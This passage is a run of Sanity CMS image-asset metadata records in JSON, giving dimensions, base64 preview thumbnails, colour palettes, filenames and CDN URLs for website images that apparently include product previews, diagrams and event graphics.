HeRleu/w13Cy33yhTdsbV+wuTWhUJqyU/nAZuGG0PIlovKaxYcjBOmcRPycw+qIYfOE26M2f2bH/Hg7ppm7xKm+w2Sx1vF6W6SMfZLGM+LRF6RjR6wmB6zEjtG0IU7lFIfSRfU2KKZ3eNmsc1Tb5ezJHl/HPW5ejSiXXqMZE0zmpRqS1EQP/IcefIYefI4ebKP523g9HVR3H4+/TTBUwqcG0RSJTMhHJmqwlkxRzq1TzhfIb9QpFLqY5hZryA+baIHn+MMDZH8fh9JDcPVYdPSxuo5x+w7QAqs4RRlhQcDvcpHQ/BhakEhQx9AjpBMpSoUyprmFCo/EGh71ANnfQ5A6zNleYLZ1mRMHzDuGCI86iK4GS8ImkjPGdjTMYTZKLRUha0RY1sPEjRj5jRymf+armBerWKxNLLYnmIV9HlgPMQsdLGIfi/0Ei32IxT5g3t7B466xl8lwVU4wLsZprESJh3XihsFGdo3/AXDAanOAFp79AAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#22213a","foreground":"#fff","population":5.95,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#04206e","foreground":"#fff","population":0.29,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#ccbcb8","foreground":"#000","population":8.26,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#ccbcb8","foreground":"#000","population":8.26,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ee8a97","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a76b5a","foreground":"#fff","population":1.21,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#cc1d33","foreground":"#fff","population":3.1,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Copy of WIP DevRel Event social media post template (1200x628) (1).png","path":"images/sczeoy4w/production/a1f9afb223fa4f2d35687fa6062cbb4d84e3c709-1200x628.png","sha1hash":"a1f9afb223fa4f2d35687fa6062cbb4d84e3c709","size":542084,"uploadId":"xwalkN7J3hi3lvVXhGT8bvKqNJ7Th4eW","url":"https://cdn.sanity.io/images/sczeoy4w/production/a1f9afb223fa4f2d35687fa6062cbb4d84e3c709-1200x628.png"} {"_createdAt":"2024-01-10T11:08:58Z","_id":"image-a223b4f0abc797a9bd57fa4292b82961ceb0f6c4-1634x431-png","_rev":"sEx8dZoeB26hd431UgQAPH","_type":"sanity.imageAsset","_updatedAt":"2024-01-10T11:08:58Z","assetId":"a223b4f0abc797a9bd57fa4292b82961ceb0f6c4","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":3.7911832946635733,"height":431,"width":1634},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAFCAIAAADKYVtkAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAxklEQVQYlYXLzY6CMBQF4L7/66AgHU0nGcWF28ksVZTSAsrQ9t7+4MZUCVtvvtycxTmE0iWlC0qTLEsWaZYs41utWc52OStWm126/km/Jjkr2PbAtgf6vc9ZQfj1VPNSykqI6nItz8e/8vRb8Ust21p2XLZcxPAmmlvT9U3Xy/YumhuxFpyzIYQwBkAYVK+GuwEA69B5sB6d92H04+wxIwZiExHRWgP4r40y+FoG6ycujLM4Cw/3QpRWWmuIhxpw0GjQTaVPnhYKD7dRzEI0AAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#323f51","foreground":"#fff","population":8.98,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a88838","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#323f51","foreground":"#fff","population":8.98,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d4cba9","foreground":"#000","population":0.59,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ebc362","foreground":"#000","population":0.3,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#907c56","foreground":"#fff","population":0.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ba963e","foreground":"#000","population":0.04,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"image.png","path":"images/sczeoy4w/production/a223b4f0abc797a9bd57fa4292b82961ceb0f6c4-1634x431.png","sha1hash":"a223b4f0abc797a9bd57fa4292b82961ceb0f6c4","size":21036,"uploadId":"yzirPewUkIYmkA24XQRAweHvNeJ9UwDh","url":"https://cdn.sanity.io/images/sczeoy4w/production/a223b4f0abc797a9bd57fa4292b82961ceb0f6c4-1634x431.png"} {"_createdAt":"2022-09-30T15:03:22Z","_id":"image-a225399b4a5868335a9f9227296a1165ad36b6ff-1200x630-jpg","_rev":"8WeirZ6KB9gJqgJfviHdTx","_type":"sanity.imageAsset","_updatedAt":"2022-09-30T15:03:22Z","assetId":"a225399b4a5868335a9f9227296a1165ad36b6ff","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAFwAAAwEAAAAAAAAAAAAAAAAAAAEECP/EACIQAAEDBAEFAQAAAAAAAAAAAAEAAgMEBREhQRITJDFRkf/EABUBAQEAAAAAAAAAAAAAAAAAAAIB/8QAGREBAQEBAQEAAAAAAAAAAAAAAQIDABFB/9oADAMBAAIRAxEAPwDQE8FzdWPdHU4hLsgdXoKm93SahpouyRknDnneAlEPJed/qpMbJNPaHD4RlHfOtM2YfF+887mLGj052uvfU0bJXjZ5+oSwG6AAA4CFc86mAp9eN0NKHh3/2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#464648","foreground":"#fff","population":0.36,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7f4f04","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f69b10","foreground":"#000","population":0.54,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#e1cac7","foreground":"#000","population":0.23,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fada6d","foreground":"#000","population":0.05,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#ac9c6c","foreground":"#000","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f69b10","foreground":"#000","population":0.54,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Grafana_product_page_meta_preview.jpg","path":"images/sczeoy4w/production/a225399b4a5868335a9f9227296a1165ad36b6ff-1200x630.jpg","sha1hash":"a225399b4a5868335a9f9227296a1165ad36b6ff","size":32528,"uploadId":"fnIqBSSwHiwnw1ScP16l4p46WgHzqRVv","url":"https://cdn.sanity.io/images/sczeoy4w/production/a225399b4a5868335a9f9227296a1165ad36b6ff-1200x630.jpg"} {"_createdAt":"2022-06-16T23:49:33Z","_id":"image-a22eb96e52940c3379eeb992650e2702c8a414c4-1200x630-jpg","_rev":"qkpX9b3U0TpOGFQp8fVPe9","_type":"sanity.imageAsset","_updatedAt":"2022-06-16T23:49:33Z","assetId":"a22eb96e52940c3379eeb992650e2702c8a414c4","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MNSB0Z|yS5GG[.$-agfRo|V@+aJAoexDI=","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAFwAAAwEAAAAAAAAAAAAAAAAAAAMEBf/EACAQAAICAgIDAQEAAAAAAAAAAAECAwQAERIhBRMxQZH/xAAXAQADAQAAAAAAAAAAAAAAAAACBQYH/8QAHBEBAQADAAMBAAAAAAAAAAAAAQIAAxEFEhUx/9oADAMBAAIRAxEAPwDUNeo1CDjEvtUbc71vJrtit4zxPvVlSWWXhp05cU19GUv3CvQ/mKmhjsIqToHVewD+ZD/T9Ng2dM1faVcM9f3FURXsUoZSHLMu2IGhveGVQxrHGqIoVR8Awxbt8jVWsnDCloA7n//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#8f1d09","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b0240c","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fb740b","foreground":"#fff","population":7.98,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c6c6c0","foreground":"#000","population":0.15,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc4440","foreground":"#fff","population":7.78,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#aca8a2","foreground":"#000","population":0.04,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fb740b","foreground":"#fff","population":7.98,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Ovo_Case_Study_meta_preview.jpg","path":"images/sczeoy4w/production/a22eb96e52940c3379eeb992650e2702c8a414c4-1200x630.jpg","sha1hash":"a22eb96e52940c3379eeb992650e2702c8a414c4","size":210376,"uploadId":"mf2D38wjiOtfLtiUA7s5SKWXWf8W0Odl","url":"https://cdn.sanity.io/images/sczeoy4w/production/a22eb96e52940c3379eeb992650e2702c8a414c4-1200x630.jpg"} {"_createdAt":"2023-08-25T09:13:47Z","_id":"image-a255fe234d7a1a487b07f2a34886ac276f49d953-1567x844-png","_rev":"JgIs2qI3CUllaKCG3Tul45","_type":"sanity.imageAsset","_updatedAt":"2023-08-25T09:13:47Z","assetId":"a255fe234d7a1a487b07f2a34886ac276f49d953","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MB7nbI-oM]oLRk?wt6M_ogWXM_RkWBt7t6","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAABcRAAAXEQHKJvM/AAACbUlEQVQokSWQeU/aYACH+wmktPR82/ctUEp1osO5OHFzKJNbC4ijXHJVziEeQTBMnDoZZleMy4wxMfuo2zT5/fs8T/LDCD7JQJ1BWQblOWsJyFXB0RSdHageoMmuNHVsnR46Zs9k10BUOozUoGCdBEWcTZuYJIaU7XlP27Ny6PF2F5aPPKsDj2/4+t35Smjs134EtGu/dhPevA3Grl+++SgqDQrVKdQghbKZz2EOV8UbOApunATWh2uR02DsMhj7EtCutNR1tnyf33lIlx4y5T964W4t+vn5q67qPoaTx4xtj5bamHPG8IX6wY2TtehJJH4R3RxHEleRxLdo8mdc/xXTbzX9LpG5j6d/BzbGvshoOfDd6T7nHX2gDDHFVVkJ9sKxYUj7tL55GY6PQrFxOP71rX80t3TmWjifXRzNLY3dnotn8/2pF111ricoHcba4eU+JjkL80ttr7+3Ghr4wkNv8HQ1dOELj9yLQ6h2efkIKANBGXDyIS3VSbFIgDzB50mhRKMmRoL3rJQR5W2olJFalSab9umOPH0AnfusbY+1HXByn7P3aOsuKVTMfI4AhadRsIaZ6ISJTuDMFs7qZi5HgCIp7lCwTqEWLTVpqcU8KmipRYCCmctaxOrT26RQwRg2jsQkkvPAXqTEAgFKlv9wg0JNUjQeXRUK1i3ijpnL4VyagjUKNQiwjbM6ZhXiLjnlmjEcrhpnLVtgmUZVRmox1g8UNAiQI4U8BQ2LWMbZNM6mHpslE5uaoBMYlHSbPWN3FiW1IsgGcNREpQWdu0jdF5U2bzd4uwHkJo0qOJsyMVtmLotz6Qkm+Q/+C32DpvzXMKanAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#353268","foreground":"#fff","population":0.17,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#041a70","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#d7dbe9","foreground":"#000","population":7.47,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d7dbe9","foreground":"#000","population":7.47,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#757abf","foreground":"#fff","population":0.4,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#686f91","foreground":"#fff","population":1.31,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#252e91","foreground":"#fff","population":2.59,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"postgresql-as-source-for-clickhouse.png","path":"images/sczeoy4w/production/a255fe234d7a1a487b07f2a34886ac276f49d953-1567x844.png","sha1hash":"a255fe234d7a1a487b07f2a34886ac276f49d953","size":133164,"uploadId":"AoyIf72i3MUfm0fLoAoxxihZeBmJ3jSE","url":"https://cdn.sanity.io/images/sczeoy4w/production/a255fe234d7a1a487b07f2a34886ac276f49d953-1567x844.png"} {"_createdAt":"2022-10-25T11:21:51Z","_id":"image-a256fb2a79fab673fcbe350ec4ee8f4c525013de-1500x849-png","_rev":"o6tzS9VqKAkmnDQmLHxySJ","_type":"sanity.imageAsset","_updatedAt":"2022-10-25T11:21:51Z","assetId":"a256fb2a79fab673fcbe350ec4ee8f4c525013de","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M8Rfta^+~VoLnh10MxROV@aK9taxRjayay","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7667844522968197,"height":849,"width":1500},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAABkklEQVQokVWQ3W7cIBCF/f4Plm7aq15Wu2t7m2RtMDADA8OP8TbC1kbp0QgJocN35nR/rsN5GMe3d6mU80QhHOO8R+fAOrQWnbNEzntLHh0ZRwvALGR3Hsbh79vHPGu0wtKosFfQTgmXWZ9ndRX6KsxVmn4x/YKjwndwxofAsZuF0MY4IiB/kebXTfwYptdhOg3TS39/6e+n/n5cT8P0Os4/b/Pvj+WOPq+1A2OIiJkp8ISuX+Ai9HnWDTsdoy5zg/cShgV6BTdtjedStw4RiSjGGFNijp6ZfFvYkQe0BhDQWkeOWh2BOcQYYsq51G3rDmzOuZSSYopPhRAAQCvVfne0Vxki805JJedaa1dKqbVu27aua0opPv0hBGOMlFIpBQCI6Jzz3u94Timt69r9e6rWmnKOzd/EzGBACCGl1FoDgLV2T79HiLGU8r/56fyKvchFykVrba11rq3uvefAMX4jPx6PutYGbJ0EDuy9BwNLkzLGIKLddZhb7Fq/k7cYE+86YiOi1vpwNizt2P0174V9As0JbSPBxUMwAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#166a82","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#135b71","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#a9cad7","foreground":"#000","population":4.89,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a9cad7","foreground":"#000","population":4.89,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b4e4f2","foreground":"#000","population":0.01,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#96a4ac","foreground":"#000","population":0.08,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#25b0d9","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"a256fb2a79fab673fcbe350ec4ee8f4c525013de-1500x849.png","path":"images/sczeoy4w/production/a256fb2a79fab673fcbe350ec4ee8f4c525013de-1500x849.png","sha1hash":"a256fb2a79fab673fcbe350ec4ee8f4c525013de","size":140342,"uploadId":"V948oaCFFNKTKPWmqbqoyKMPTQvfjzqq","url":"https://cdn.sanity.io/images/sczeoy4w/production/a256fb2a79fab673fcbe350ec4ee8f4c525013de-1500x849.png"} {"_createdAt":"2022-09-27T07:44:56Z","_id":"image-a27a75c6f4c6bea9dea546d78e7f3c20ed607b9a-983x241-svg","_rev":"z4aw9LO53fWpwEzdXO19w2","_type":"sanity.imageAsset","_updatedAt":"2022-09-27T07:44:56Z","assetId":"a27a75c6f4c6bea9dea546d78e7f3c20ed607b9a","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"DD7d$4tDokojawW7okj^awf5","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":4.078838174273859,"height":241,"width":983},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAFCAYAAABFA8wzAAAACXBIWXMAAAsTAAALEwEAmpwYAAAA60lEQVQYlTWQTSugARSFfYUybLBBsZSUFAkbiechH4tJ+ajRsEKRWbDwH4aNzViI8h9sWFqfZunf6K1rcTr3nlPn3k6L5EzyLvmUPEqWJb2SfsmIpE/SLumUdEs6au6RdElaJW2l/WiRvEr+S94k/yTnkhnJvGRJMi2ZkizW3nhzdXhGMl7+gmStCfyQPEvuJE+Sv5ItyYZkXbItOZZcSv5ITiQXkivJqeSouNEum8B7ybXkRvJQ82x9tFqhu5IDyU/JjuRX4bD0fcmeZLMJ/C25lbwUr1RvA5LR6vGbByXDkrHCpGSi/KGm9y/DuKY/zk+M9AAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3b4668","foreground":"#fff","population":0.1,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1a1773","foreground":"#fff","population":0.67,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#1a1773","foreground":"#fff","population":0.67,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#130c8c","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#4a41ee","foreground":"#fff","population":0.54,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5e5498","foreground":"#fff","population":0.03,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#4434e4","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"catalyst-logo-new.svg","path":"images/sczeoy4w/production/a27a75c6f4c6bea9dea546d78e7f3c20ed607b9a-983x241.svg","sha1hash":"a27a75c6f4c6bea9dea546d78e7f3c20ed607b9a","size":4618,"uploadId":"IlcwHTAN610fRoZVnrPvuqqGkvVbUZeT","url":"https://cdn.sanity.io/images/sczeoy4w/production/a27a75c6f4c6bea9dea546d78e7f3c20ed607b9a-983x241.svg"} {"_createdAt":"2023-12-15T09:39:55Z","_id":"image-a27c629e787e754b2ed48e59ccc884afa7d9d72e-2000x1125-jpg","_rev":"Do3156plRwIXmiihNwfZMp","_type":"sanity.imageAsset","_updatedAt":"2023-12-15T09:39:55Z","assetId":"a27c629e787e754b2ed48e59ccc884afa7d9d72e","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MCPZv2?s?I$dNeKmrpe-Ou$w%%$~9b$yx_","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7777777777777777,"height":1125,"width":2000},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGgAAAQUBAAAAAAAAAAAAAAAAAAIDBAUGB//EACIQAAICAQQBBQAAAAAAAAAAAAECAwQABREhMRMSIjJBcf/EABYBAQEBAAAAAAAAAAAAAAAAAAMABP/EABoRAAIDAQEAAAAAAAAAAAAAAAECAAMSUUL/2gAMAwEAAhEDEQA/AO+StZfUrMcdpl8ZHHp3HOU1HWYNR1eai0tkzVT7iybK2aiZFUzMo2Y9kZHeKNIQ6IodvkwHJ/Timw1rrkggZsxhqsErFie8MVXA8fX3hmkbHqESvJ//2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#313556","foreground":"#fff","population":0.49,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#34346c","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f4ceaf","foreground":"#000","population":2.14,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a4b4d4","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f4ceaf","foreground":"#000","population":2.14,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6a71a0","foreground":"#fff","population":0.04,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ec5648","foreground":"#fff","population":0.07,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"EpisodeWithBrian (1).jpg","path":"images/sczeoy4w/production/a27c629e787e754b2ed48e59ccc884afa7d9d72e-2000x1125.jpg","sha1hash":"a27c629e787e754b2ed48e59ccc884afa7d9d72e","size":550813,"uploadId":"TzfMKg6g49wwzwXQZlX5rhglBjbaOQM9","url":"https://cdn.sanity.io/images/sczeoy4w/production/a27c629e787e754b2ed48e59ccc884afa7d9d72e-2000x1125.jpg"} {"_createdAt":"2022-10-25T14:02:48Z","_id":"image-a2809bd13ada7bf0582638784dabe602b08f9224-697x401-png","_rev":"sO1M90HU31jUAjmfkQGhyQ","_type":"sanity.imageAsset","_updatedAt":"2022-10-25T14:02:48Z","assetId":"a2809bd13ada7bf0582638784dabe602b08f9224","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M3S$ovt7RP~W-;~qD%D%xuae%M%MxuxuM{","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7381546134663342,"height":401,"width":697},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAIAAADtbgqsAAAACXBIWXMAAAsTAAALEwEAmpwYAAABBUlEQVQokYVS0Y7DMAjL//9sCmRAgLZ3hK3andTNL5VojY3dxo8HIgIA0RBVUR1jEA1VjYj9BhGhqm3OSUS99w1ARHSqCOdzTnePG7i7iLR93+ecuKCaHLOkFe7IZsbM7TzPiCAiKOWFD7Q/yudxmDkA9t6ZWUSY2cziG8yslYEtT37evMzbh7T2FVhEtDK89Y6AZZuZy/n1nb3gr2HN2+oJtw0Qk8zMRCQivpSrEiJCxDFGzhf/WEjbc6bX6kZEAJCZK7M6KtdjDlcXT/0k144Lun6SUnB3MxORMcZKMdfVsPhZ1YUjkzdVvdJ29/L1nn/dnzf/I9e7K+rih/v+Fn6J/yr/AI5pvmJowCqaAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#707070","foreground":"#fff","population":0.32,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#424242","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcbc","foreground":"#000","population":0.34,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcbc","foreground":"#000","population":0.34,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcbc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#848484","foreground":"#fff","population":0.16,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7f7f7f","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"a2809bd13ada7bf0582638784dabe602b08f9224-697x401.png","path":"images/sczeoy4w/production/a2809bd13ada7bf0582638784dabe602b08f9224-697x401.png","sha1hash":"a2809bd13ada7bf0582638784dabe602b08f9224","size":12225,"uploadId":"bTxU6fym62zxMxusUmVJNC3otAwu2cmN","url":"https://cdn.sanity.io/images/sczeoy4w/production/a2809bd13ada7bf0582638784dabe602b08f9224-697x401.png"} {"_createdAt":"2023-03-15T14:01:08Z","_id":"image-a2e9762718cb9d606e2ff61467fb43d3771fd289-800x800-jpg","_rev":"FyKybxTQXmO9mB4Bp1FtEX","_type":"sanity.imageAsset","_updatedAt":"2023-03-15T14:01:08Z","assetId":"a2e9762718cb9d606e2ff61467fb43d3771fd289","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":800,"width":800},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGQABAAMBAQAAAAAAAAAAAAAAAAQFCAYH/8QAKBAAAQQBAwEIAwAAAAAAAAAAAgABAwQFBhEhBwgSExUiMTJxQWGB/8QAFQEBAQAAAAAAAAAAAAAAAAAAAwT/xAAaEQACAwEBAAAAAAAAAAAAAAAAAQIDMRES/9oADAMBAAIRAxEAPwD1jrlkrwVMTh8fOVfzGfuTSD8mjb32VRperBpHUmHgxNyc6lx3CeI24d3bdi+1A695tsZqnA2IpBc625OH6d+VQZ3W7xZnAmIyFANgZTIx29/wyGTftcK64p1vppZFHq3ILFeOWOQXE2Z25RMSGXO0Pxm6xN8jhbd/6qXqJKY1NMyM/qesO6Ip3pZDEd9Bm740qjDOQt4I8N9IiJEA9P/Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4a322d","foreground":"#fff","population":5.72,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#471e14","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f6cfbe","foreground":"#000","population":5.92,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cdb0a8","foreground":"#000","population":2.16,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f6cfbe","foreground":"#000","population":5.92,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#92706a","foreground":"#fff","population":4.4,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a43444","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"jodi-slomp.jpg","path":"images/sczeoy4w/production/a2e9762718cb9d606e2ff61467fb43d3771fd289-800x800.jpg","sha1hash":"a2e9762718cb9d606e2ff61467fb43d3771fd289","size":49744,"uploadId":"aJAkGna2wGebAA3DjMaKMeDi2re8aEze","url":"https://cdn.sanity.io/images/sczeoy4w/production/a2e9762718cb9d606e2ff61467fb43d3771fd289-800x800.jpg"} 